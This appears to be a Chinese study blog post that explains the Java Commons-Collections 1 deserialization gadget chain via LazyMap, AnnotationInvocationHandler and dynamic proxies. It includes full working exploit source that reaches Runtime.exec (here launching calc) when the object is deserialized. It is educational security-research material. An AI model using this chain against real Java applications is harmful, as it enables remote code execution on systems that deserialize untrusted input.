前言 之前学习cc链时都是从TransformedMap触发,但是在最近的学习过程中发现在ysoserial生成CommonCollections1的payload中使用了LazyMap触发,现在来补充学习一下
LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承 AbstractMapDecorator。
两者唯一的差别是:
TransformedMap是在写入元素的时候执行transform
LazyMap是在其get方法中执行的factory.transform ,在get找不到值的时候,它会调用factory.transform 方法去获取一个值
两者在利用上的区别:
LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler
的readObject方法中并没有直接调用到Map的get方法。而AnnotationInvocationHandler类的invoke方法有调用到get,ysoserial中利用Java的对象代理来调用invoke来完成利用
Java对象代理 之前在学习jdk7u21反序列化利用链时提到了java的动态代理。简单来说就是一个跟filter差不多的东西,在代码执行前先过一个拦截器,也就是InvocationHandler的实现类,在这个类的invoke方法里包含了我们想要执行的代码
Proxy.newProxyInstance方法会返回一个代理对象,它有三个参数:
第一个参数是ClassLoader,我们用默认的即可;
第二个参数是我们需要代理的对象集合;
第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。
写个demo回顾一下,这里我们成功劫持了Map.put
,让它执行了我们加入的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;class MyInvocationHandler implements InvocationHandler { protected Map map; public MyInvocationHandler (Map map) { this .map=map; } @Override public Object invoke (Object proxy,Method method,Object[] args) throws Throwable { if (method.getName().equals("put" )){ System.out.println("Hacked" ); } return method.invoke(map,args); } }public class App { public static void main (String[] args) { Map proxyMap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},new MyInvocationHandler(new HashMap())); proxyMap.put("hello" ,"world" ); String result=(String)proxyMap.get("hello" ); System.out.println(result); } }
再回到主题,sun.reflect.annotation.AnnotationInvocationHandler
这个类实际上就是一个InvocationHandler。如果我们把AnnotationInvocationHandler作为第三个参数传递给Proxy.newInstance
,把AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject时,调用任意方法就会进入到AnnotationInvocationHandler#invoke
方法中,进而触发LazyMap#get
。
利用LazyMap构造利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new String[] {"calc" }), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
前面的跟之前一样,主要看后面的代码,有两个AnnotationInvocationHandler:
1.首先把TransformedMap换成LazyMap
1 Map outerMap = LazyMap . decorate(innerMap, transformerChain);
LazyMap的decorate
2.利用反射获取AnnotationInvocationHandler的构造方法
1 2 3 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true );
3.实例化被代理的AnnotationInvocationHandler,也就是最终用来触发transforn执行命令的
1 InvocationHandler handler = (InvocationHandler) construct.new Instance(Retention.class , outerMap ) ;
实例化了一个AnnotationInvocationHandler类,把封装好的LazyMap赋值给this.memberValues
4.创建用于代理的AnnotationInvocationHandler,利用AnnotationInvocationHandler#invoke触发上面的LazyMap#get
1 2 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
最后反序列化第二个AnnotationInvocationHandler
AnnotationInvocationHandler#readObject
此时的this.memberValues是proxyMap,调用proxyMap的任何方法都会进入AnnotationInvocationHandler#invoke所以相当于
1 proxyMap .memberValues .entrySet ().iterator ()
AnnotationInvocationHandler#invoke
调用proxyMap的任何方法都会进入AnnotationInvocationHandler#invoke,这里的memberValues是之前的LazyMap
LazyMap#get
执行transform,触发命令执行
问题 由于IDEA中Debug会利用toString,在实际执行过程中会提前弹计算器,需要把这个功能给关掉
参考 http://wjlshare.com/archives/1502
https://reader-l.github.io/2020/10/21/java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E5%88%A9%E7%94%A8LazyMap%E6%9E%84%E9%80%A0%E5%88%A9%E7%94%A8%E9%93%BE/#3-%E5%88%A9%E7%94%A8LazyMap%E6%9E%84%E9%80%A0%E5%88%A9%E7%94%A8%E9%93%BE
Java安全漫谈 - 11.反序列化篇(5)